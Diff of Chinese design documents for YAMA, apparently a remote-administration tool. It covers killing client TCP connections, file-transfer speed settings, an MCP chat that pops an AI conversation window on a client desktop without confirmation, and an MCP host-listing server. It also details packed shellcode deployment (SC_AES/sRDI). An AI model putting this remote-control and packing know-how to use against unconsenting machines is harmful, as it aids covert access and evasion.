`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
## 7. 安全与边界
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
但列表按 PID 可辨识本程序进程名,便于人工避让。
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
(确认责任在操作者),但右键菜单为显式单点操作。
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
`"<unknown>"`,不阻塞枚举。
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
同类),属预期;不影响服务端其它功能。
## 8. 验证计划(施工后填写)
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
远端 `netstat` 不再显示;进程自身未受影响。
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
## 9. 实现记录
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
`htons` 转回网络序。详见 §3.2 / §6。
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
+151
View File
@@ -0,0 +1,151 @@
# YAMA 文件传输速度调节设计
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
> **读者**:研发/评审人员。
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
---
## 1. 背景与目标
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
---
## 2. 速度原理(现状)
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
```cpp
static int chunk_size = 64 * 1024; // 默认 64KB
static int send_duration = 50; // 默认 50ms
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
```
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
```
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
默认 64KB / 50ms ≈ 1.25 MB/s
```
两个关键约束:
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
---
## 3. 档位表(权威唯一来源,主控端对话框维护)
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|---|---|---|---|---|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
| 6 | 不限速 | 1024 | 0 | 网络上限 |
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
---
## 4. 两个方向的生效链路
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|---|---|---|---|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
### 4.1 上传方向(主控端本地,无协议改动)
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
```cpp
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
```
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
```c
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
```
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
---
## 5. 配置存储
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
---
## 6. 改动文件清单(Windows 端)
| 文件 | 改动 |
|---|---|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
---
## 7. 生效时机与提示文案
- 上传速度:重启主控端生效。
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
---
## 8. 风险与备注
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
---
## 9. 实施顺序
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
+254
View File
@@ -0,0 +1,254 @@
# MCP 远程交谈(P9):AI ↔ 客户端使用者双向对话
## 1. 目标与边界
让接入服务端 MCP 的大模型与坐在 Windows 客户端电脑前的人进行多轮文字交谈。
- **仅 Windows 客户端**:`LNX` / `MAC` / `APK` 直接返回 `-32005`,不发命令。
- **复用既有功能,协议零改动**:沿用「远程交谈」(`client/ChatManager.cpp` + `IDD_CHAT`),
报文与握手不变。客户端侧只有两处改动:聊天窗口改为 Unicode 对话框(见 §5.8,
解决非 936 ACP 系统上的中文乱码),以及加壳部署下对话框改用内嵌模板兜底(见 §5.7)。
- **独立开关 `McpChat`**(默认 `0`):与 `McpReadonly` 无关;关闭时四个工具不出现在
`tools/list`,直接调用返回 `-32006`。
- **直接弹出客户端窗口**:没有确认框;会话建立即代表开始交谈。
- 验证方式:在虚拟机里运行交互式 Windows 客户端,由人扮演使用者与服务端 AI 对话。
## 2. 复用协议
| 方向 | 报文 |
|---|---|
| 服务端主连接 → 客户端 | `[COMMAND_CHAT=161]`(1 字节) |
| 客户端新建子连接 | 先 `[TOKEN_CONN_AUTH=246]`(`EnableSubConnAuth`),再 `[TOKEN_CHAT_START=62]` |
| 服务端子连接 → 客户端 | `[COMMAND_NEXT_CHAT=0]`(1 字节,通知客户端弹窗) |
| 双向文本 | `[CP936/GBK 字节][0x00]`,无 token 前缀 |
| 服务端子连接 → 客户端 | `[COMMAND_CHAT_CLOSE=1]` 结束 |
时序:
```
chat_open:
FindMainContext(id) → 校验 Windows → 校验 McpChat
mainCtx->Send2Client([161])
客户端建子连接 → [246] 认证 → [62] 就绪
OnChatSubPacket 绑定 62 → 回 [0] → readyAt = now + 1000ms
chat_open 等到 started && now >= readyAt 才返回
chat_send:
subCtx->Send2Client(GBK + NUL) → WaitSendIdle(2000)
客户端使用者输入:
subCtx → [GBK + NUL] → OnChatSubPacket → inbox → 唤醒 chat_wait
chat_close:
subCtx->Send2Client([1]) → WaitSendIdle(1000) → CancelIO
```
未绑定子连接上的 `TOKEN_CONN_AUTH(246)` 不被聊天钩子消费,仍由 `MessageHandle`
的鉴权分支处理并回 `ConnAuthAck`,认证后子连接的 `clientID` 才可靠(新客户端路径)。
已绑定子连接上首字节为 `0xF6` 的 GBK 文本不会被误判为鉴权包(绑定连接上所有包都由
聊天钩子消费)。
## 3. 工具
| 工具 | 输入 | 输出 |
|---|---|---|
| `chat_open` | `id`;`timeout_ms`(默认 15000,2000–60000) | `{session_id, status:"open", message}` |
| `chat_send` | `id`, `session_id`, `message` | `{session_id, sent:true, bytes}` |
| `chat_wait` | `id`, `session_id`;`timeout_ms`(默认 30000,0–55000)、`max_messages`(默认 20,1–50) | `{session_id, messages:[{id,at,text}], timed_out, closed, dropped}` |
| `chat_close` | `id`, `session_id` | `{session_id, closed:true}`;主机在线时会话已不存在按幂等处理为成功;主机离线返回 `-32002` |
典型对话循环:
```
chat_open(id) → session_id
chat_send(id, sid, "你好,我是助手")
chat_wait(id, sid, 30000) → 对方的回复
chat_send(id, sid, "……")
chat_wait(id, sid, 30000)
chat_close(id, sid)
```
错误码沿用 MCP 约定:
| 码 | 含义 |
|---|---|
| `-32001` | `chat_open` 等不到客户端建窗(离线、老客户端、非交互桌面) |
| `-32002` | 主机离线 / 会话不存在或已关闭 / `session_id` 不匹配 |
| `-32003` | 同设备已有活跃会话;或同一会话已有 `chat_send` / `chat_wait` 在飞 |
| `-32004` | 发送失败(`Send2Client` 返回 FALSE) |
| `-32005` | 非 Windows 客户端 |
| `-32006` | `McpChat` 关闭 |
| `-32602` | 参数、UTF-8、GBK 可表示性或长度错误 |
## 4. 编码与长度
- **出站**:UTF-8 → CP936 **严格转换**(`MB_ERR_INVALID_CHARS` +
`WC_NO_BEST_FIT_CHARS` + `lpUsedDefaultChar`)。emoji、`ö` 等 GBK 不可表示字符
直接返回 `-32602`,绝不静默变成 `?`。
- **入站**:CP936 → UTF-8,按首个 NUL 截断。
- 出站上限 4000 GBK 字节(客户端输入缓冲 `char str[4096]`,硬上限 4095)。
- 入站单条上限 8 KiB;inbox 100 条 / 256 KiB,溢出丢最旧并在 `chat_wait` 的
`dropped` 中报告。
- 拒绝空消息、纯空白、`\r\n`、NUL 及所有 C0 控制字符。
客户端聊天窗口自 P9 起是 Unicode 对话框(见 §5.8):入站 GBK 字节先转 UTF-16 再
显示,出站 UTF-16 严格转 GBK 后发送,因此在德语等非 936 系统上中文不再乱码。协议
本身仍是 GBK,`ö`/`ß`/emoji 等 GBK 外字符两端都无法传输(服务端 `-32602`;客户端
在发送框下方给出提示并不发送)。
## 5. 客户端怪癖与规避(协议不变)
1. **首字节 101 ('e') 被丢弃(客户端已修)**:`client/ChatManager.cpp` 原在任何长度
判断之前执行 `if (szBuffer[0] == TOKEN_HEARTBEAT) return;`,而该通道承载自由文本,
于是「echo」「error」这类以 e 开头的消息被静默吞掉。交谈子连接上没有心跳(心跳只在
主连接、且是 `[101][Heartbeat]` 多字节包,由主连接分发消费),这行是照搬其它 manager
的死防御,已删除。服务端**仍保留**前置空格规避:老客户端还带这个缺陷,多一个看不见的
空格好过静默丢消息。验证见本章末尾。
2. **窗口创建前的文本被丢弃**:客户端收到 `[0]` 后 `WaitForDialogOpen` 只
`Sleep(150)`,随后才在线程里 `CreateDialogParamW`;`OnReceive` 仅在 `m_hWnd`
非空时显示文本。服务端把 `readyAt` 设为绑定后 1000ms,`chat_open` 等满再返回,
`chat_send` 也拒绝早于 `readyAt` 的发送。
3. **X / 结束交谈只隐藏不关闭**:客户端 `ShowWindow(SW_HIDE)`,会话仍活;下一条
服务端文本会 `SW_RESTORE` 重新弹出。因此隐藏不是关闭信号,结束时必须显式
`chat_close`。
4. **一字节控制包**:客户端把 `len==1` 的包当命令,故文本必须带尾部 NUL(至少
2 字节),空消息在工具层拒绝。
5. **手动「远程交谈」竞争**:MCP 会话在飞时用户又点菜单会产生第二个 `[62]`;
先到者绑定,后到者被吸收并 `CancelIO`。极窄竞争下用户这次看不到 MFC 窗口,
重试即可。
6. **Session 0 / SYSTEM**:`COMMAND_CHAT` 不像抓屏那样重定向到交互会话;以服务
方式运行的客户端没有交互桌面,`chat_open` 会超时。VM 验证必须在交互桌面运行。
7. **加壳部署的对话框兜底**:EXE + SC_AES/sRDI 打包时,
`g_hInstance = GetModuleHandle(NULL)` 是外壳进程映像,资源里只有清单、没有
`IDD_CHAT`;载荷以裸 shellcode 在壳进程内运行,未注册进加载器,Windows 的
`FindResource`/`LoadResource`/`CreateDialogParamW` 取不到对话框
(实测 err=1812 / 59),聊天线程建窗后立即退出。客户端因此保留
`CreateDialogParamW` 原路径,失败时回退到 `CreateDialogIndirectParamW` +
内嵌模板(`client/ChatDialogTemplate.h`,取自载荷 `RT_DIALOG 106`,240 字节),
图标回退为「直接遍历本模块映像的资源目录取 `RT_GROUP_ICON 105` →
`RT_ICON` → `CreateIconFromResourceEx`」(`client/ImageResource.h`),
仍失败才用 `LoadIcon(NULL, IDI_APPLICATION)`。**旧客户端无此兜底,加壳部署下
不会弹窗**:MDLL 由服务端自动下发新 DLL 即生效,EXE 需重新分发客户端。
8. **Unicode 对话框(非 936 系统乱码修复)**:客户端是 MBCS 编译,但对话框可以建
成 Unicode 窗口:`CreateDialogParamW` / `CreateDialogIndirectParamW` 创建的窗口
`IsWindowUnicode` 为真,而 `DLGTEMPLATEEX` 的字符串本来就按 UTF-16 存储。因此
聊天窗口全部改走 W 版 API——`GetWindowTextW` / `SetDlgItemTextW` / 日志用
UTF-16 拼接,消息循环用 `GetMessageW` / `IsDialogMessageW` / `DispatchMessageW`
(否则 WM_CHAR / WM_IME_* 会先按 ACP 转换)。入站
`MultiByteToWideChar(936, …)`,出站 `WideCharToMultiByte(936,
WC_NO_BEST_FIT_CHARS, …, &usedDefault)`;`usedDefault` 置位即 GBK 不可表示
字符,提示后不发送。`IDD_CHAT` 字体由点阵 "System" 改为 "MS Shell Dlg"
(可缩放,并经 SystemLink 字体链接到中文字体),否则 Unicode 窗口里同样没有
中文字形;前提是系统装有至少一种 CJK 字体(简体中文补充字体或 Microsoft YaHei
等),否则只能显示方框。静态文案按 `GetUserDefaultUILanguage()` 在中文/英文两套
间切换,`Script.rc` 因此直接写英文(德语系统看到的是英文而非乱码)。协议与服务端
逻辑不变。
**首字节 'e' 修复的验证(2026-10-25,Debug 实例 + 本机 Debug 客户端)**:验证时把
`McpChat.cpp` 的前置空格临时关掉(否则测不到客户端行为),`chat_open` 后
`chat_send "echo test"` 与 `"second line"` 各一条,再从服务端读客户端窗口文本
(`EnumWindows` → `WM_GETTEXT`):两条都完整出现在聊天记录里,`echo test` 无前导空格。
恢复前置空格后复测,显示为 `" echo test"`(多一个空格但不丢),两条路径都通过。
## 6. 服务端状态机
数据结构(`McpServer.h`,受 `m_ChatMutex` 保护):
```cpp
struct ChatSession {
std::string sessionId;
context* mainCtx; // 主连接(仅身份判断;主连接断开后置空)
uint64_t mainClientId;
context* subCtx; // 已绑定的子连接;关闭后置空
std::string peer; // GetPeerName()(老客户端 clientID=0 兜底)
bool started, closed;
bool sendBusy, waitBusy; // 同一会话串行发送 / 只允许一个 chat_wait
steady_clock::time_point readyAt;
time_t lastActiveAt;
std::deque<ChatMessage> inbox; // UTF-8,未投递
size_t inboxBytes;
uint64_t nextMsgId;
int dropped;
};
using ChatSessionPtr = std::shared_ptr<ChatSession>;
```
- 会话用 `shared_ptr` 持有:`chat_wait` / `chat_send` 在工作线程复制一份后,即使
map 条目被 `chat_close` 或断线删除也安全。
- `m_ChatSessions[device]`、`m_ChatContextToDevice[subCtx]`、`m_ChatAbsorbedSubCtx`
与 `m_ChatRoutes`(原子计数)供 `MessageHandle` 快速路径判断;无会话在飞时
`OnChatSubPacket` 无锁返回,避免音频/屏幕等高频子连接逐包抢锁。
- 锁序:`parent->m_cs`(`FindMainContext`)→ `m_ChatMutex`。持锁期间不发送、
不 `CancelIO`、不 `WaitSendIdle`。
- 超时/关闭后到达的 `[62]` 由 5s 墓碑(按 device 与 peer 两个维度)吸收并
`CancelIO`,避免弹出 MFC 聊天对话框。
- 空闲回收 600s(任一无 `busy` 且 `lastActiveAt` 超时的会话),每个 chat 工具
入口惰性调用。
## 7. 钩子与生命周期
`2015RemoteDlg.cpp`:
1. `MessageHandle`:MCP 终端块之后、**P8 `OnManagedSubPacket` 之前**调用
`OnChatSubPacket`。聊天文本是裸 GBK,首字节可能是 61/255,若先交给 P8 会被
误绑定。
2. `OfflineProc`:P8 清理之后、`RemoveFromHostList` **之前**调用
`OnChatContextClosed`(连接池会复用 `context*`,晚清理会误路由新连接)。
子连接断开 → 会话 `closed` 并唤醒 `chat_wait`;主连接断开 → 关闭其所有会话并
锁外 `CancelIO` 子连接。
3. 启动:`SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0)`。
审计:`AuditChatAction` 与 `AuditManageAction` 同落地方式(`WM_SHOWERRORMSG`),
标题 `_TR("MCP远程交谈")`;只记录 `session=...` 与 `bytes=N`,**绝不记录消息正文**。
`chat_wait` 不审计,避免刷屏。
## 8. 配置
| INI key | 默认 | 说明 |
|---|---|---|
| `McpChat` | `0` | 远程交谈工具族开关;改动需重启服务端 |
「扩展 → MCP设置」新增复选框「启用远程交谈(AI 与用户对话)」。
## 9. 验证矩阵
准备:`McpEnabled=1`、`McpChat=1` 后重启服务端;MCP 客户端重连使 `tools/list`
刷新;VM 中交互运行 Windows 客户端。
| # | 操作 | 期望 |
|---|---|---|
| 1 | `tools/list`(开关开 / 关) | 四个 chat 工具出现 / 消失;关闭时直调 `-32006` |
| 2 | `chat_open(id)` | VM 约 1s 内弹出「远程交谈」;返回 32 位 hex `session_id` |
| 3 | `chat_send` 中文;用户回中文;`chat_wait` | VM 显示「对方: …」;返回 UTF-8 原文 |
| 4 | 连续多轮、用户连发两条 | 下一轮批量返回,顺序正确,`dropped=0` |
| 5 | 发送 `"echo test"`(首字节 'e') | 新客户端原样显示;老客户端靠前置空格仍能显示(`" echo test"`) |
| 6 | open 后立刻 send,重复 10 次 | 第一条不丢(1000ms 建窗等待) |
| 7 | 4000 / 4001 字节、emoji | 边界内成功;超长与 emoji 返回 `-32602` |
| 8 | 无回复时 `chat_wait` | 到点 `timed_out:true`,会话仍活 |
| 9 | 用户点 X 隐藏后再 send | 窗口恢复,会话仍活 |
| 10 | `chat_close` | 窗口关闭;旧 id 发送 `-32002`;立即重新 open 成功 |
| 11 | `chat_wait` 阻塞时杀掉客户端 | 返回 `closed:true`;服务端稳定;重连后可重新 open |
| 12 | Linux / macOS / Android 主机 | `-32005`,不发命令 |
| 13 | 同设备第二次 `chat_open` | `-32003` |
| 14 | 无 MCP 会话时手动「远程交谈」 | MFC 聊天窗口照常打开(回归) |
| 15 | 服务端审计日志 | 有 open/send/close 的 session id 与字节数,无消息正文 |
| 16 | 现有 MCP 工具 + 手动主机/连接/终端对话框 | 行为不变 |
| 17 | `chat_wait timeout_ms=55000` | 在常见 60s 工具超时前返回 |
| 18 | 加壳(SC_AES/sRDI)EXE 客户端 `chat_open` | 仍弹出「远程交谈」且标题栏图标正常(内嵌模板 + 自模块映像取图标);客户端日志有 `CreateDialogParamW(1812) 失败,改用内嵌对话框模板` |
| 19 | 非 936 系统(如德语 Windows)`chat_open` + 中文 `chat_send` | 标题、按钮为英文(系统 UI 非中文),中文消息正常显示而非乱码;中文系统为中文按钮 |
| 20 | 德语系统客户端发送 `Grüße` / emoji | 客户端不发送并在日志区提示 GBK 不支持;服务端若直接 `chat_send` 同类字符返回 `-32602` |
| 21 | 未安装任何 CJK 字体的系统 | 中文显示为方框(字体缺失,非编码问题);安装中文补充字体后恢复 |
## 10. 已知限制
- **无投递回执**:`sent:true` 只表示已写入子连接并 `WaitSendIdle` 成功,不保证
使用者已看见。
- **HTTP 工作线程**:`chat_wait` 最长 55s 会占用一个 httplib 工作线程;不要在
同一 MCP 连接上并行大量长等待。
- **连接池复用窄竞争**:发送时捕获的 `subCtx` 在极端情况下可能已断开并被池复用;
与现有终端/屏幕实现同一取舍,靠 `closed` 检查与 `WaitSendIdle` 缩短窗口。
- **极慢 VM**:若首条消息仍丢,可把 `kChatOpenSettleMs` 调到 1500–2000ms,代价是
`chat_open` 变慢。
- **仍是 GBK 通道**:Unicode 对话框解决了「显示」,但线路上仍是 CP936,德语变音
字母(`ö`/`ä`/`ß`)、emoji 等无法传输。要根治需引入会话级编码协商(如
`TOKEN_CHAT_START` 后追加能力位,双方改用 UTF-8),属未来工作;服务端与客户端
必须同时升级,且旧客户端不能误解新报文。
- **字体依赖**:中文显示依赖系统已安装的 CJK 字体(字体链接到 "MS Shell Dlg"
的后备字体);仅此一点无法由程序保证,缺少字体时显示为方框。
+888
View File
@@ -0,0 +1,888 @@
# YAMA 服务端 MCP 支持方案
> 版本:1.0
> 状态:Final(定稿)
> 适用范围:`server/2015Remote/`(C++/MFC 服务端,生产主流)
---
## 1. 背景与目标
### 1.1 背景
MCP(Model Context Protocol)是 Anthropic 提出的开放协议,让 AI 助手(Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
### 1.2 本期范围(MVP)
**只跑通 MCP,只实现一个工具**,把可扩展架构搭起来:
- 传输方式:Streamable HTTP(`POST /mcp`,JSON-RPC 2.0 over HTTP)
- 工具数量:1 个 —— `list_online_hosts`(获取在线主机列表)
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启)+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证(env / THIS_CFG / 随机)
